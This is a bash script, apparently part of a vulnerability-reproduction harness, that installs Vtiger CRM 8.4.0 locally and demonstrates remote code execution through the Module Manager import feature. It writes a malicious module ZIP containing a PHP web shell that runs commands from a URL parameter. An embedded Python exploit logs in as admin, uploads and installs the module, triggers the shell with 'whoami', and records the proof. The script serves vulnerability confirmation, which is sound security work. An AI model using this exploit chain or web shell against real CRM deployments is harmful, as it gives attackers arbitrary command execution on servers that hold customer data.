#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

PRUVA_LOG="$LOGS/reproduction_steps.log"
exec > "$PRUVA_LOG" 2>&1

echo "[+] Starting Vtiger CRM 8.4.0 module-import RCE reproduction"

# Install runtime dependencies
sudo apt-get update -qq
sudo apt-get install -y -qq \
  php8.5 php8.5-mysql php8.5-gd php8.5-zip php8.5-curl php8.5-mbstring php8.5-xml php8.5-intl php8.5-bcmath \
  mariadb-server apache2 libapache2-mod-php8.5 unzip curl jq python3-venv

# Tune PHP for the Vtiger installer / heavy import
PHP_INI_APACHE=/etc/php/8.5/apache2/php.ini
PHP_INI_CLI=/etc/php/8.5/cli/php.ini
for ini in "$PHP_INI_APACHE" "$PHP_INI_CLI"; do
  sudo sed -i 's/^;\?date.timezone.*/date.timezone = UTC/' "$ini" || true
  sudo sed -i 's/^;\?max_execution_time.*/max_execution_time = 600/' "$ini" || true
  sudo sed -i 's/^;\?memory_limit.*/memory_limit = 512M/' "$ini" || true
  sudo sed -i 's/^;\?post_max_size.*/post_max_size = 100M/' "$ini" || true
  sudo sed -i 's/^;\?upload_max_filesize.*/upload_max_filesize = 100M/' "$ini" || true
done

sudo a2enmod rewrite || true

# Start/ensure services
sudo service mariadb start || true
sudo service apache2 start || true

# Recreate database
sudo mysql -e "DROP DATABASE IF EXISTS vtigercrm; CREATE DATABASE vtigercrm CHARACTER SET utf8 COLLATE utf8_general_ci; CREATE USER IF NOT EXISTS 'vtiger_user'@'localhost' IDENTIFIED BY 'VtigerPass1!'; GRANT ALL PRIVILEGES ON vtigercrm.* TO 'vtiger_user'@'localhost'; FLUSH PRIVILEGES;"

# Download Vtiger 8.4.0 if not already cached
VTIGER_TAR="$ARTIFACTS/vtigercrm8.4.0.tar.gz"
if [ ! -f "$VTIGER_TAR" ]; then
  echo "[+] Downloading Vtiger CRM 8.4.0"
  curl -L -o "$VTIGER_TAR" \
    'https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%208.4.0/Core%20Product/vtigercrm8.4.0.tar.gz/download'
fi

# Clean and deploy Vtiger
sudo rm -rf /var/www/html/*
sudo tar -xzf "$VTIGER_TAR" -C /var/www/html --strip-components=1
sudo chown -R www-data:www-data /var/www/html
sudo chmod -R 755 /var/www/html
sudo service apache2 restart

# Generate a unique module name so repeated runs don't collide in the DB/filesystem
MOD_NAME="Mod$(python3 -c 'import random,string; print("".join(random.choices(string.ascii_letters,k=8)))')"
ZIP_DIR="$ARTIFACTS/malmod_$MOD_NAME"
rm -rf "$ZIP_DIR"
mkdir -p "$ZIP_DIR/modules/$MOD_NAME" "$ZIP_DIR/languages/en_us"

cat > "$ZIP_DIR/manifest.xml" <<EOF
<?xml version="1.0"?>
<module>
  <name>${MOD_NAME}</name>
  <label>${MOD_NAME}</label>
  <parent>Tools</parent>
  <version>1.0</version>
  <type>module</type>
  <dependencies>
    <vtiger_version>8.0.0</vtiger_version>
    <vtiger_max_version>8.5.0</vtiger_max_version>
  </dependencies>
</module>
EOF

cat > "$ZIP_DIR/modules/$MOD_NAME/shell.php" <<'EOF'
<?php echo "PRUVA_SHELL_OK\n"; if(isset($_GET['cmd'])) { echo system($_GET['cmd']); } ?>
EOF

cat > "$ZIP_DIR/languages/en_us/$MOD_NAME.php" <<'EOF'
<?php
$languageStrings = array();
$jsLanguageStrings = array();
EOF

ZIP_PATH="$ZIP_DIR/malmod.zip"
(cd "$ZIP_DIR" && rm -f malmod.zip && zip -q -r malmod.zip manifest.xml modules/ languages/)

echo "[+] Malicious module ZIP created: $ZIP_PATH (module=$MOD_NAME)"

# Set up Python venv with requests
VENV="$ROOT/venv"
if [ ! -d "$VENV" ]; then
  python3 -m venv "$VENV"
fi
"$VENV/bin/pip" install -q requests

EXPLOIT_PY="$ARTIFACTS/exploit.py"
cat > "$EXPLOIT_PY" <<'PY'
import requests
import re
import sys
import time
import argparse

BASE = 'http://localhost/index.php'
ADMIN_USER = 'admin'
ADMIN_PASS = 'AdminPass1!'

def extract_csrf(html):
    m = re.search(r'csrfMagicToken = "([^"]+)"', html)
    if not m:
        raise RuntimeError('Could not extract CSRF token from page')
    return m.group(1)

def install_vtiger(s):
    print('[*] Vtiger not installed; running installer')
    r = s.get(BASE + '?module=Install&view=Index&mode=Step4', timeout=60)
    csrf = extract_csrf(r.text)
    data = {
        'module': 'Install', 'view': 'Index', 'mode': 'Step5', '__vtrftk': csrf,
        'db_type': 'mysqli', 'db_hostname': 'localhost', 'db_username': 'vtiger_user',
        'db_password': 'VtigerPass1!', 'db_name': 'vtigercrm', 'create_db': 'on',
        'currency_name': 'USA, Dollars', 'password': ADMIN_PASS, 'retype_password': ADMIN_PASS,
        'firstname': 'Admin', 'lastname': 'User', 'admin_email': 'admin@example.com',
        'dateformat': 'yyyy-mm-dd', 'timezone': 'America/Los_Angeles',
        'pwd_regex': '^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#$%^&*]).{8,}$',
    }
    r = s.post(BASE, data=data, timeout=120)
    m = re.search(r'name="auth_key" value="([^"]+)"', r.text)
    if not m:
        raise RuntimeError('Installer Step5 did not return auth_key')
    auth_key = m.group(1)
    csrf = extract_csrf(r.text)
    data = {
        'module': 'Install', 'view': 'Index', 'mode': 'Step7', '__vtrftk': csrf,
        'auth_key': auth_key, 'myname': 'Admin', 'myemail': 'admin@example.com',
        'industry': 'Computer Software'
    }
    try:
        r = s.post(BASE, data=data, timeout=600)
    except requests.exceptions.Timeout:
        print('[!] Installer Step7 timed out, but schema creation may still be running')
    # Wait for config file to be created
    for _ in range(30):
        try:
            r = s.get(BASE, timeout=10)
            if 'Installation Wizard' not in r.text and r.status_code == 200:
                break
        except Exception:
            pass
        time.sleep(2)
    print('[*] Installer finished')

def complete_setup(s, r):
    # If Vtiger forces first-time SystemSetup / UserSetup, complete them.
    if 'view=SystemSetup' in r.url or 'SystemSetup' in r.text:
        print('[*] Completing SystemSetup')
        csrf = extract_csrf(r.text)
        pkgs = re.findall(r'name="packages\[([^\]]+)\]"', r.text)
        data = {'__vtrftk': csrf}
        for p in pkgs:
            data[f'packages[{p}]'] = 'on'
        r = s.post(BASE + '?module=Users&action=SystemSetupSave', data=data, timeout=60, allow_redirects=True)
    if 'view=UserSetup' in r.url or 'UserSetup' in r.text:
        print('[*] Completing UserSetup')
        csrf = extract_csrf(r.text)
        rec = re.search(r'name="record" value="([^"]+)"', r.text)
        record = rec.group(1) if rec else '1'
        data = {
            '__vtrftk': csrf, 'record': record,
            'currency_name': 'USA, Dollars', 'lang_name': 'en_us',
            'time_zone': 'America/Los_Angeles', 'date_format': 'yyyy-mm-dd'
        }
        r = s.post(BASE + '?module=Users&action=UserSetupSave', data=data, timeout=60, allow_redirects=True)
    return r

def login(s):
    r = s.get(BASE, timeout=60)
    if 'Installation Wizard' in r.text:
        install_vtiger(s)
        r = s.get(BASE, timeout=60)
    if 'Users' in r.url or 'module=Users' in r.url or 'Login' in r.text or 'login' in r.text.lower():
        csrf = extract_csrf(r.text)
        print('[*] Logging in as admin')
        r = s.post(BASE + '?module=Users&action=Login',
                   data={'__vtrftk': csrf, 'username': ADMIN_USER, 'password': ADMIN_PASS},
                   timeout=60, allow_redirects=True)
    r = complete_setup(s, r)
    if 'Dashboard' not in r.text and 'Dashboard' not in r.url:
        # Try once more to reach dashboard
        r = s.get(BASE, timeout=60)
    print('[*] Authenticated, current page:', r.url)

def exploit(s, zip_path, mod_name):
    print('[*] Navigating to Module Manager import page')
    url = BASE + '?module=ModuleManager&parent=Settings&view=ModuleImport&mode=importUserModuleStep1'
    r = s.get(url, timeout=60)
    csrf = extract_csrf(r.text)

    print('[*] Uploading malicious module ZIP')
    with open(zip_path, 'rb') as f:
        files = {'moduleZip': (f'{mod_name}.zip', f, 'application/zip')}
        data = {
            '__vtrftk': csrf, 'module': 'ModuleManager', 'moduleAction': 'Import',
            'parent': 'Settings', 'view': 'ModuleImport', 'mode': 'importUserModuleStep2',
            'acceptDisclaimer': 'on'
        }
        r = s.post(BASE, data=data, files=files, timeout=60)
    text = r.text
    if 'module_import_name' not in text:
        raise RuntimeError('Module upload did not reach import confirmation step. Response may indicate invalid file.')
    import_file = re.search(r'name="module_import_file" value="([^"]+)"', text).group(1)
    import_name = re.search(r'name="module_import_name" value="([^"]+)"', text).group(1)
    import_type = re.search(r'name="module_import_type" value="([^"]+)"', text).group(1)
    csrf = extract_csrf(text)
    print(f'[+] Upload accepted: file={import_file} name={import_name} type={import_type}')

    print('[*] Installing the module')
    post_url = BASE + '?module=ModuleManager&parent=Settings&action=Basic&mode=importUserModuleStep3'
    post_data = {
        '__vtrftk': csrf, 'module_import_file': import_file,
        'module_import_name': import_name, 'module_import_type': import_type
    }
    r = s.post(post_url, data=post_data, timeout=120)
    print('[+] Install response:', r.text)
    if '"success":true' not in r.text:
        raise RuntimeError('Module installation failed')

    shell_url = f'http://localhost/modules/{import_name}/shell.php?cmd=whoami'
    print('[*] Triggering webshell:', shell_url)
    r = s.get(shell_url, timeout=60)
    print('[+] Webshell output:', r.status_code, r.text)
    if 'PRUVA_SHELL_OK' not in r.text:
        raise RuntimeError('Webshell did not return expected marker')
    return r.text

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--zip', required=True)
    ap.add_argument('--mod-name', required=True)
    ap.add_argument('--output', required=True)
    args = ap.parse_args()

    s = requests.Session()
    login(s)
    output = exploit(s, args.zip, args.mod_name)

    with open(args.output, 'w') as f:
        f.write(output)
    print(f'[+] Proof saved to {args.output}')

if __name__ == '__main__':
    main()
PY

PROOF_LOG="$REPRO_DIR/proof.log"
"$VENV/bin/python" "$EXPLOIT_PY" --zip "$ZIP_PATH" --mod-name "$MOD_NAME" --output "$PROOF_LOG"

if grep -q 'PRUVA_SHELL_OK' "$PROOF_LOG"; then
  echo "[+] Vulnerability confirmed: shell executed via uploaded module"
else
  echo "[-] Vulnerability not reproduced"
  exit 1
fi

# Write runtime manifest
RUNTIME_MANIFEST="$REPRO_DIR/runtime_manifest.json"
python3 - "$MOD_NAME" "$PRUVA_LOG" "$PROOF_LOG" "$ZIP_PATH" "$RUNTIME_MANIFEST" <<'PY'
import json, sys
mod_name = sys.argv[1]
log_path = sys.argv[2]
proof_path = sys.argv[3]
zip_path = sys.argv[4]
out_path = sys.argv[5]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Vtiger CRM 8.4.0 Module Manager Import Module (index.php?module=ModuleManager&parent=Settings&view=ModuleImport&mode=importUserModuleStep1)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["mariadb", "apache2", "php8.5", "vtiger-crm-8.4.0"],
  "proof_artifacts": [
    "repro/proof.log",
    "logs/reproduction_steps.log",
    f"artifacts/malmod_{mod_name}/malmod.zip"
  ],
  "notes": "Uploaded a crafted module ZIP through the authenticated Module Manager endpoint; the PHP shell was extracted to modules/ and executed directly via HTTP."
}
with open(out_path, "w") as f:
    json.dump(manifest, f, indent=2)
PY

echo "[+] Runtime manifest written: $RUNTIME_MANIFEST"
echo "[+] Done"
